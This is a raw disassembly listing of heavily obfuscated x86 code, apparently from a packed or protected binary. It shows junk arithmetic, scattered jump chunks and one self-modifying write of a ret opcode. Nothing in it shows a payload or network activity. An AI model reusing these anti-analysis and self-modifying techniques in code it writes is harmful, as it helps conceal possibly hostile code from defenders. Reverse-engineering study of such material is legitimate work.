call nullsub_269 jmp ds:dword_41F058 ; --------------------------------------------------------------------------- loc_749876: ; CODE XREF: _0z4jwtox:00757292j jmp loc_746DEE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752D11 loc_74987B: ; CODE XREF: sub_752D11-2B47j jmp loc_74EACC ; END OF FUNCTION CHUNK FOR sub_752D11 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_269. PRESS KEYPAD "+" TO EXPAND] db 82h, 5Fh, 0E6h dd 0E95AFFFFh, 0DDD7h ; --------------------------------------------------------------------------- loc_74988C: ; CODE XREF: _0z4jwtox:00745519j xor ebx, 17C44615h and ebx, 36DDCF38h add ebx, 0EA33C6C9h xchg ebx, [esp] jmp loc_7512DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C3B3 loc_7498A6: ; CODE XREF: sub_74C3B3-3336j sub edx, 60EF246Dh or edx, 0E5BC4A6Eh add edx, 0A786B88h xchg edx, [esp+4+var_4] jmp sub_7570B1 ; END OF FUNCTION CHUNK FOR sub_74C3B3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747AEC loc_7498C0: ; CODE XREF: sub_747AEC:loc_74A84Fj or ebx, 8F979DFFh and ebx, 0D7286B2Ah push offset loc_7573F0 jmp loc_74D0B7 ; END OF FUNCTION CHUNK FOR sub_747AEC ; =============== S U B R O U T I N E ======================================= sub_7498D6 proc near ; DATA XREF: _0z4jwtox:0074BE61o push 83635E84h pop eax rol eax, 0Eh sub eax, 891BF233h or eax, 2EE2A217h add eax, 0EBEFE09h sub_7498D6 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_74F73B loc_7498F1: ; CODE XREF: sub_74F73B:loc_749E60j call sub_746E93 jmp loc_7527E0 ; END OF FUNCTION CHUNK FOR sub_74F73B ; --------------------------------------------------------------------------- loc_7498FB: ; CODE XREF: _0z4jwtox:loc_74EF41j jnz loc_74F446 jmp loc_74C5B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75051C loc_749906: ; CODE XREF: sub_75051C:loc_74813Cj call sub_7500C5 loc_74990B: ; CODE XREF: sub_75312E+Dj jmp loc_75124D ; END OF FUNCTION CHUNK FOR sub_75051C ; --------------------------------------------------------------------------- loc_749910: ; CODE XREF: _0z4jwtox:0075013Aj jmp loc_75726F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74FAD6 loc_749915: ; CODE XREF: sub_74FAD6+6j jmp loc_755F15 ; END OF FUNCTION CHUNK FOR sub_74FAD6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F15D loc_74991A: ; CODE XREF: sub_74F15D-4D4Cj jmp loc_74F560 ; END OF FUNCTION CHUNK FOR sub_74F15D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748551 loc_74991F: ; CODE XREF: sub_748551+7j jmp nullsub_7 ; END OF FUNCTION CHUNK FOR sub_748551 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75622B loc_749924: ; CODE XREF: sub_75622B-E2B0j jmp loc_74F2E5 ; END OF FUNCTION CHUNK FOR sub_75622B ; --------------------------------------------------------------------------- cdq jmp sub_74D343 ; --------------------------------------------------------------------------- loc_74992F: ; CODE XREF: _0z4jwtox:007548C6j sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] call sub_748B52 ; START OF FUNCTION CHUNK FOR sub_74B1F1 loc_74993B: ; CODE XREF: sub_74B1F1:loc_753E77j and eax, 0A0DF5499h sub eax, 3248734Bh or eax, 12A0D066h add eax, 0A18E74E2h xchg eax, [esp+4+var_4] jmp loc_757529 ; END OF FUNCTION CHUNK FOR sub_74B1F1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F69D loc_74995B: ; CODE XREF: sub_74F69D:loc_74F4A1j push edx call sub_75740D push 40C013A4h pop eax rol eax, 5 xor eax, 0B9BA3248h jmp loc_756C1B ; END OF FUNCTION CHUNK FOR sub_74F69D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AF10 loc_749975: ; CODE XREF: sub_74AF10:loc_74AF23j jnz loc_74901D jmp loc_755189 ; END OF FUNCTION CHUNK FOR sub_74AF10 ; =============== S U B R O U T I N E ======================================= sub_749980 proc near ; CODE XREF: sub_754CBF:loc_74D134p ; _0z4jwtox:007510B6j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0074592B SIZE 00000014 BYTES ; FUNCTION CHUNK AT 007460CA SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00746C1D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074774A SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00748295 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00748408 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00748A5D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074B602 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0074CA37 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0074E77F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0075101C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00752729 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0075407F SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00755000 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00755069 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00756B98 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00756C6F SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx push 0CAE6E1ECh pop esi add esi, 781EBC44h jmp loc_748408 sub_749980 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_749995: ; CODE XREF: _0z4jwtox:0074D4B4j ; _0z4jwtox:00753E67j push offset loc_74BAAF jmp loc_74FDFF ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_255. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746CC3 loc_7499A0: ; CODE XREF: sub_746CC3+FE19j jmp nullsub_211 ; END OF FUNCTION CHUNK FOR sub_746CC3 ; =============== S U B R O U T I N E ======================================= sub_7499A5 proc near ; CODE XREF: _0z4jwtox:007512ADp ; _0z4jwtox:007563A0j ; FUNCTION CHUNK AT 007454D1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007461A7 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 007563EC SIZE 00000011 BYTES xchg edx, [esp+0] pop edx call sub_753116 mov ds:dword_74B938, eax jmp loc_7563EC sub_7499A5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746B7C loc_7499B8: ; CODE XREF: sub_746B7C:loc_746B8Dj pop eax and eax, 0C1EB62B2h add eax, 422DBF3Fh xor eax, 79E6DABAh call sub_746E93 jmp loc_756916 ; END OF FUNCTION CHUNK FOR sub_746B7C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755789 loc_7499D5: ; CODE XREF: sub_755789+Ej pop ebx and edx, 32B8A0CDh add edx, 0E04CE12Dh xchg edx, [esp-4+arg_0] jmp sub_746E93 ; END OF FUNCTION CHUNK FOR sub_755789 ; --------------------------------------------------------------------------- test ecx, edx jmp loc_7513D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D823 loc_7499F1: ; CODE XREF: sub_74D823-4907j ; sub_754CBF:loc_75000Bj mov ebp, edx pop edx retn ; END OF FUNCTION CHUNK FOR sub_74D823 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74673E loc_7499F5: ; CODE XREF: sub_74673E+FED6j rol eax, 13h jmp loc_7475AD ; END OF FUNCTION CHUNK FOR sub_74673E ; --------------------------------------------------------------------------- loc_7499FD: ; CODE XREF: _0z4jwtox:loc_7551C8j ; _0z4jwtox:007551E0j and eax, 9828710Eh call sub_74B21E ; START OF FUNCTION CHUNK FOR sub_745C34 loc_749A08: ; CODE XREF: sub_745C34+1131Dj jmp loc_746888 ; END OF FUNCTION CHUNK FOR sub_745C34 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A3AB loc_749A0D: ; CODE XREF: sub_74A3AB+BD4Dj jmp loc_747A13 ; END OF FUNCTION CHUNK FOR sub_74A3AB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C8DA loc_749A12: ; CODE XREF: sub_74C8DA:loc_749692j add ebp, ebx test eax, edi jmp loc_74A8C1 ; END OF FUNCTION CHUNK FOR sub_74C8DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CBCF loc_749A1B: ; CODE XREF: sub_74CBCF-6B9Cj call sub_7513E4 loc_749A20: ; CODE XREF: sub_7571A1-4A6Fj jmp sub_746E93 ; END OF FUNCTION CHUNK FOR sub_74CBCF ; --------------------------------------------------------------------------- loc_749A25: ; CODE XREF: _0z4jwtox:0074E94Ej jmp loc_74C9DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750291 loc_749A2A: ; CODE XREF: sub_750291-2222j jmp sub_746E93 ; END OF FUNCTION CHUNK FOR sub_750291 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BA92 loc_749A2F: ; CODE XREF: sub_74BA92-5099j jmp loc_75594A ; END OF FUNCTION CHUNK FOR sub_74BA92 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_749A34: ; CODE XREF: sub_747C22:loc_75696Aj jz loc_754CA5 shl ecx, 10h jmp loc_74625D ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746640 loc_749A42: ; CODE XREF: sub_746640-1F7j ror ebp, 0Eh mov eax, ecx jmp loc_74786D ; END OF FUNCTION CHUNK FOR sub_746640 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CD80 loc_749A4C: ; CODE XREF: sub_74CD80-3D3Dj add edi, 0A5DC2E00h add edi, ebp add edi, 0AB8C268Bh mov [edi], eax pop edi popf jmp loc_745EB5 ; END OF FUNCTION CHUNK FOR sub_74CD80 ; --------------------------------------------------------------------------- loc_749A63: ; CODE XREF: _0z4jwtox:loc_756FEDj or esi, 14A4E79Fh add esi, 0A88662E6h xchg esi, [esp] jmp sub_746E93 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755F42 loc_749A77: ; CODE XREF: sub_755F42-1C60j pop eax rol eax, 0Bh loc_749A7B: ; CODE XREF: _0z4jwtox:00754367j test eax, 1000h jmp loc_753A72 ; END OF FUNCTION CHUNK FOR sub_755F42 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74673E loc_749A86: ; CODE XREF: sub_74673E+56A0j ; _0z4jwtox:0074E3C7j sub edi, 0F1BB225Ch add edi, 0CB4C962Dh loc_749A92: ; CODE XREF: _0z4jwtox:loc_7450F6j mov [edi], eax pop edi lea eax, nullsub_2 mov byte ptr [eax], 0C3h jmp nullsub_2 ; END OF FUNCTION CHUNK FOR sub_74673E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75143A loc_749AA3: ; CODE XREF: sub_75143A+4670j push 0F6B9F485h xchg ebx, [esp+0] mov eax, ebx pop ebx rol eax, 8 or eax, 0AE77092Eh add eax, 407DA258h jmp loc_755C06 ; END OF FUNCTION CHUNK FOR sub_75143A ; --------------------------------------------------------------------------- loc_749AC2: ; CODE XREF: _0z4jwtox:loc_745A88j pop edx rol edx, 0Dh add edx, 96641C2Dh call sub_755DE6 loc_749AD1: ; CODE XREF: _0z4jwtox:00754542j jmp loc_749DF8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748FA4 loc_749AD6: ; CODE XREF: sub_748FA4+5615j jno loc_74B7C1 loc_749ADC: ; CODE XREF: sub_748FA4:loc_74AF7Aj call sub_7463AE loc_749AE1: ; CODE XREF: sub_75275A-591Ej jmp loc_74C00E ; END OF FUNCTION CHUNK FOR sub_748FA4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74BD6F loc_749AE6: ; CODE XREF: sub_74BD6F+Aj jnz loc_753FC4 jmp loc_75597F ; END OF FUNCTION CHUNK FOR sub_74BD6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7490F6 loc_749AF1: ; CODE XREF: sub_7490F6:loc_75271Fj not eax jmp loc_750C79 ; END OF FUNCTION CHUNK FOR sub_7490F6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A71A loc_749AF8: ; CODE XREF: sub_74A71A:loc_74EDB2j shl eax, 8 mov edx, [ebp-20h] movzx edx, byte ptr [edx] or eax, edx mov [ebp-1Ch], eax loc_749B06: ; CODE XREF: _0z4jwtox:0074EA18j jmp loc_74DE61 ; --------------------------------------------------------------------------- loc_749B0B: ; CODE XREF: sub_74A71A:loc_755F15j cmp dword ptr [ebp-1Ch], 0Fh jnz loc_748FD6 jmp loc_749D49 ; END OF FUNCTION CHUNK FOR sub_74A71A ; --------------------------------------------------------------------------- loc_749B1A: ; CODE XREF: _0z4jwtox:00748B76j push eax mov eax, esi xchg eax, [esp] push 0B039CF1Bh jmp loc_74DAC5 ; --------------------------------------------------------------------------- loc_749B2A: ; DATA XREF: _0z4jwtox:0074B43Bo lea eax, sub_755148 push offset loc_7502DE jmp locret_752D23 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74B719 loc_749B3A: ; CODE XREF: sub_74B719+A5F7j push offset sub_74E03D jmp loc_747161 ; END OF FUNCTION CHUNK FOR sub_74B719 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755340 loc_749B44: ; CODE XREF: sub_755340:loc_74ABA8j mov eax, [eax] add eax, [ebp-4] mov [ebp-0Ch], eax mov eax, [ebp-0Ch] cmp eax, [ebp-14h] jb loc_74D571 mov eax, [ebp-10h] call sub_74FB89 ; END OF FUNCTION CHUNK FOR sub_755340 ; START OF FUNCTION CHUNK FOR sub_747736 loc_749B60: ; CODE XREF: sub_747736+4348j jmp loc_74B723 ; END OF FUNCTION CHUNK FOR sub_747736 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748A22 loc_749B65: ; CODE XREF: sub_748A22+25C5j jmp nullsub_218 ; END OF FUNCTION CHUNK FOR sub_748A22 ; --------------------------------------------------------------------------- locret_749B6A: ; CODE XREF: _0z4jwtox:loc_756237j retn ; --------------------------------------------------------------------------- add edi, 287A38A0h jmp sub_746C84 ; =============== S U B R O U T I N E ======================================= sub_749B76 proc near ; CODE XREF: _0z4jwtox:0074CB9Bj ; sub_747C22:loc_74FCE9p ; FUNCTION CHUNK AT 00745430 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00746894 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0074767C SIZE 00000027 BYTES ; FUNCTION CHUNK AT 00749808 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0074A596 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0074D0AF SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00750FD3 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00752AAF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 007552C5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 007564CF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00757225 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0075747B SIZE 0000000D BYTES xchg eax, [esp+0] pop eax mov eax, [ebp-4] cmp word ptr [eax], 2ECDh jz loc_74767C jmp loc_746894 sub_749B76 endp ; sp-analysis failed ; --------------------------------------------------------------------------- jmp loc_74767C ; --------------------------------------------------------------------------- loc_749B92: ; CODE XREF: _0z4jwtox:0074AFD6j ror edi, 0Eh ; =============== S U B R O U T I N E ======================================= sub_749B95 proc near ; CODE XREF: sub_7469BF+6p ; FUNCTION CHUNK AT 00745C48 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074C42A SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0074E775 SIZE 0000000A BYTES xchg edi, [esp+0] pop edi pop ebx push ebx push 5AEE0D9Eh jmp loc_745C48 sub_749B95 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_749BA5: ; CODE XREF: _0z4jwtox:loc_756D32j call sub_754A3D mov eax, 66708351h push edi push 2B37DE80h jmp loc_74811D ; =============== S U B R O U T I N E ======================================= sub_749BBA proc near ; CODE XREF: sub_7541BA:loc_748A68p ; FUNCTION CHUNK AT 007468BC SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00747726 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0074BD7E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 007533CC SIZE 00000005 BYTES xchg edi, [esp+0] pop edi sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jz loc_746C1D jmp loc_74BD7E sub_749BBA endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_749BD2: ; CODE XREF: _0z4jwtox:00747541j jz loc_74F776 jmp loc_7546B9 ; --------------------------------------------------------------------------- loc_749BDD: ; CODE XREF: _0z4jwtox:loc_74B12Cj pop eax rol eax, 0Ch sub eax, 950A7747h xor eax, 6CB29A82h add eax, 33E3A1FDh xchg eax, [esp] jmp sub_75364C ; --------------------------------------------------------------------------- rol eax, 6 shl ebp, 13h jmp sub_74A83D ; =============== S U B R O U T I N E ======================================= sub_749C06 proc near ; CODE XREF: _0z4jwtox:00747020j ; _0z4jwtox:0074C749p ; FUNCTION CHUNK AT 0074E657 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx call sub_746E93 push ebx push offset loc_752155 jmp loc_74E657 sub_749C06 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C39 loc_749C1A: ; CODE XREF: sub_747C39+D814j xchg esi, edx cmp esi, ebp jmp loc_751FBB ; END OF FUNCTION CHUNK FOR sub_747C39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745462 loc_749C23: ; CODE XREF: sub_745462:loc_74FBB1j sub edx, 0D2C81D2Dh and edx, 6A91D199h jnz loc_74E3B1 ; END OF FUNCTION CHUNK FOR sub_745462 ; START OF FUNCTION CHUNK FOR sub_752957 loc_749C35: ; CODE XREF: sub_752957+Dj jmp loc_753D8D ; END OF FUNCTION CHUNK FOR sub_752957 ; --------------------------------------------------------------------------- jns loc_74F39A or ebp, ebx jmp loc_745DA9 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_222. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_749C48: ; CODE XREF: _0z4jwtox:loc_7544D3j jmp loc_755544 ; --------------------------------------------------------------------------- loc_749C4D: ; CODE XREF: _0z4jwtox:00753298j jmp loc_7493E3 ; --------------------------------------------------------------------------- loc_749C52: ; CODE XREF: _0z4jwtox:0075112Bj jmp loc_74DAFC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74B079 loc_749C57: ; CODE XREF: sub_74B079+13j jmp loc_74C83B ; END OF FUNCTION CHUNK FOR sub_74B079 ; --------------------------------------------------------------------------- rol ecx, 5 ; START OF FUNCTION CHUNK FOR sub_74952C loc_749C5F: ; CODE XREF: sub_74952C-B42j jmp sub_752D11 ; END OF FUNCTION CHUNK FOR sub_74952C ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_162. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E693 loc_749C65: ; CODE XREF: sub_74E693+8B87j jmp loc_74FC88 ; END OF FUNCTION CHUNK FOR sub_74E693 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752FC5 loc_749C6A: ; CODE XREF: sub_752FC5-2A3Ej jmp sub_752FC5 ; END OF FUNCTION CHUNK FOR sub_752FC5 ; --------------------------------------------------------------------------- loc_749C6F: ; CODE XREF: _0z4jwtox:00749F6Bj jmp loc_746B97 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A4B0 loc_749C74: ; CODE XREF: sub_74A4B0:loc_756491j lea eax, sub_75676B push offset loc_74A0AB jmp nullsub_189 ; END OF FUNCTION CHUNK FOR sub_74A4B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746640 loc_749C84: ; CODE XREF: sub_746869+Fj ; sub_746640:loc_746D1Cj ... inc dword ptr [ebp-20h] dec dword ptr [ebp-2Ch] jnz loc_7471EA jmp loc_746394 ; END OF FUNCTION CHUNK FOR sub_746640 ; =============== S U B R O U T I N E ======================================= sub_749C95 proc near ; CODE XREF: sub_745276+5p ; _0z4jwtox:00745B10j xchg esi, [esp+0] pop esi push edx call sub_756435 sub_749C95 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_7553F4 loc_749C9F: ; CODE XREF: sub_7553F4+77Dj jmp nullsub_165 ; END OF FUNCTION CHUNK FOR sub_7553F4 ; --------------------------------------------------------------------------- loc_749CA4: ; CODE XREF: _0z4jwtox:007536B3j jmp locret_747AC7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F83E loc_749CA9: ; CODE XREF: sub_74F83E+9j jmp sub_749115 ; END OF FUNCTION CHUNK FOR sub_74F83E ; --------------------------------------------------------------------------- loc_749CAE: ; DATA XREF: _0z4jwtox:0074EC8Bo xor ebx, 0DDA4ACDAh add ebx, ebp push eax call sub_7457B3 ; START OF FUNCTION CHUNK FOR sub_74673E loc_749CBC: ; CODE XREF: sub_74673E-1408j jmp loc_74B91B ; END OF FUNCTION CHUNK FOR sub_74673E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D424 loc_749CC1: ; CODE XREF: sub_74D424:loc_750B69j mov eax, [ebp-4] call sub_7510E4 mov edx, [ebp-8] mov eax, [ebp-4] call nullsub_16 pop ecx jmp loc_749364 ; END OF FUNCTION CHUNK FOR sub_74D424 ; --------------------------------------------------------------------------- locret_749CDA: ; CODE XREF: _0z4jwtox:loc_74831Bj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74B21E loc_749CDB: ; CODE XREF: sub_74B21E+Fj jmp loc_74D24A ; END OF FUNCTION CHUNK FOR sub_74B21E ; --------------------------------------------------------------------------- loc_749CE0: ; DATA XREF: sub_74E762-945Do push 4B863D12h pop eax and eax, 0BADDA295h rol eax, 0Bh add eax, 0DF74DDFCh xchg eax, [esp] jmp sub_746E93 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_235. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745A78 loc_749CFE: ; CODE XREF: sub_745A78+E6B8j jmp loc_749509 ; END OF FUNCTION CHUNK FOR sub_745A78 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CBCF loc_749D03: ; CODE XREF: sub_74CBCF+A92j jmp loc_751473 ; END OF FUNCTION CHUNK FOR sub_74CBCF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A96E loc_749D08: ; CODE XREF: sub_74A96E+CC13j push 0A59B4327h pop eax sub eax, 84F29EF6h rol eax, 0Ah loc_749D17: ; CODE XREF: _0z4jwtox:0074D5A8j add eax, 2FE2224Ah jnz loc_756D20 adc esi, ebp jmp loc_756D17 ; END OF FUNCTION CHUNK FOR sub_74A96E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7572F3 loc_749D2A: ; CODE XREF: sub_7572F3:loc_755C0Bj jnz loc_753AF4 jmp loc_7546F3 ; END OF FUNCTION CHUNK FOR sub_7572F3 ; =============== S U B R O U T I N E ======================================= sub_749D35 proc near ; DATA XREF: _0z4jwtox:00751EB7o ; FUNCTION CHUNK AT 007577AB SIZE 00000001 BYTES mov [ebp-14h], eax cmp dword ptr [ebp-10h], 3 call sub_75379A shr eax, 17h jmp loc_7577AB sub_749D35 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A71A loc_749D49: ; CODE XREF: sub_74A71A-C05j mov eax, [ebp-1Ch] shl eax, 8 mov edx, [ebp-20h] call sub_74DE55 ; END OF FUNCTION CHUNK FOR sub_74A71A ; START OF FUNCTION CHUNK FOR sub_74C0A0 loc_749D57: ; CODE XREF: sub_74C0A0+3BC9j jmp loc_75062A ; END OF FUNCTION CHUNK FOR sub_74C0A0 ; --------------------------------------------------------------------------- loc_749D5C: ; CODE XREF: _0z4jwtox:0074578Fj jmp sub_754A3D ; --------------------------------------------------------------------------- mov eax, 4A031E23h push esi push 941E8ADCh pop esi rol esi, 2 jmp loc_754F12 ; =============== S U B R O U T I N E ======================================= sub_749D75 proc near ; DATA XREF: _0z4jwtox:00754345o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0074E3CC SIZE 00000001 BYTES push ebx mov ebx, esi xchg ebx, [esp+4+var_4] push 482F4875h jmp loc_74E3CC sub_749D75 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D782 loc_749D85: ; CODE XREF: sub_74D782-873Aj jnz loc_747601 shl edi, 3 or ebp, 4AE6E883h cmp edi, ecx jmp loc_7456B1 ; END OF FUNCTION CHUNK FOR sub_74D782 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C39 loc_749D9B: ; CODE XREF: sub_747C39+5073j sbb eax, 0B60F5EFFh jmp loc_74E214 ; END OF FUNCTION CHUNK FOR sub_747C39 ; --------------------------------------------------------------------------- locret_749DA6: ; CODE XREF: _0z4jwtox:00747406j retn ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_168. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74A71A loc_749DA9: ; CODE XREF: sub_74A71A+53D4j jmp loc_755F08 ; END OF FUNCTION CHUNK FOR sub_74A71A ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C0A0 loc_749DAF: ; CODE XREF: sub_74C0A0+544Aj jmp loc_7527B1 ; END OF FUNCTION CHUNK FOR sub_74C0A0 ; =============== S U B R O U T I N E ======================================= sub_749DB4 proc near ; CODE XREF: sub_74F73B:loc_74856Fj ; sub_74D782+8p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00749285 SIZE 00000016 BYTES push edi loc_749DB5: ; CODE XREF: _0z4jwtox:00750AFAj mov edi, ebp jmp loc_749285 sub_749DB4 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_756327 loc_749DBC: ; CODE XREF: sub_756327:loc_7540FFj add ecx, 0C31D489Eh test ecx, 10000h jmp loc_74E704 ; END OF FUNCTION CHUNK FOR sub_756327 ; --------------------------------------------------------------------------- loc_749DCD: ; CODE XREF: _0z4jwtox:00754672j add ebx, ebp add ebx, 76974C54h mov ebx, [ebx] xchg ebx, [esp] push dword ptr [ebp+0Ch] call sub_7465D2 ; START OF FUNCTION CHUNK FOR sub_74EF6C loc_749DE2: ; CODE XREF: sub_74EF6C+9j jmp loc_74CA07 ; END OF FUNCTION CHUNK FOR sub_74EF6C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7514AC loc_749DE7: ; CODE XREF: sub_74C4BB+29C8j ; sub_7514AC:loc_7556E9j jmp sub_74A3AB ; END OF FUNCTION CHUNK FOR sub_7514AC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_749DEC: ; CODE XREF: sub_747C22-1210j jmp loc_747A08 ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- or ebx, edi jmp loc_747CFF ; --------------------------------------------------------------------------- loc_749DF8: ; CODE XREF: _0z4jwtox:loc_749AD1j mov eax, [esp] call sub_74BCF7 loc_749E00: ; CODE XREF: _0z4jwtox:0075099Aj cdq xchg ebp, [ebx] loc_749E03: ; CODE XREF: _0z4jwtox:loc_75098Dj add ecx, 1D1037DAh xor ecx, 876A1B52h add ecx, 0CE52922Bh xchg ecx, [esp] jmp sub_746E93 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7451D9 loc_749E1D: ; CODE XREF: sub_7451D9:loc_74ED97j push ecx push offset loc_74B232 jmp loc_74F244 ; END OF FUNCTION CHUNK FOR sub_7451D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74946E loc_749E28: ; CODE XREF: sub_74946E+907Ej rol eax, 2 xor eax, 8A633C61h rol eax, 15h sub eax, 71513C30h rol eax, 1Fh jmp loc_745761 ; --------------------------------------------------------------------------- loc_749E42: ; CODE XREF: sub_74946Ej mov eax, ds:dword_752DAC or eax, eax jnz loc_745767 jmp loc_75219C ; END OF FUNCTION CHUNK FOR sub_74946E ; --------------------------------------------------------------------------- or esi, 9A43232Ah loc_749E5B: ; CODE XREF: _0z4jwtox:00754DE3j jmp sub_747CDA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F73B loc_749E60: ; CODE XREF: _0z4jwtox:00753A00j ; sub_74F73B+8106j jp loc_7498F1 ja loc_74AB90 jmp loc_750F9A ; 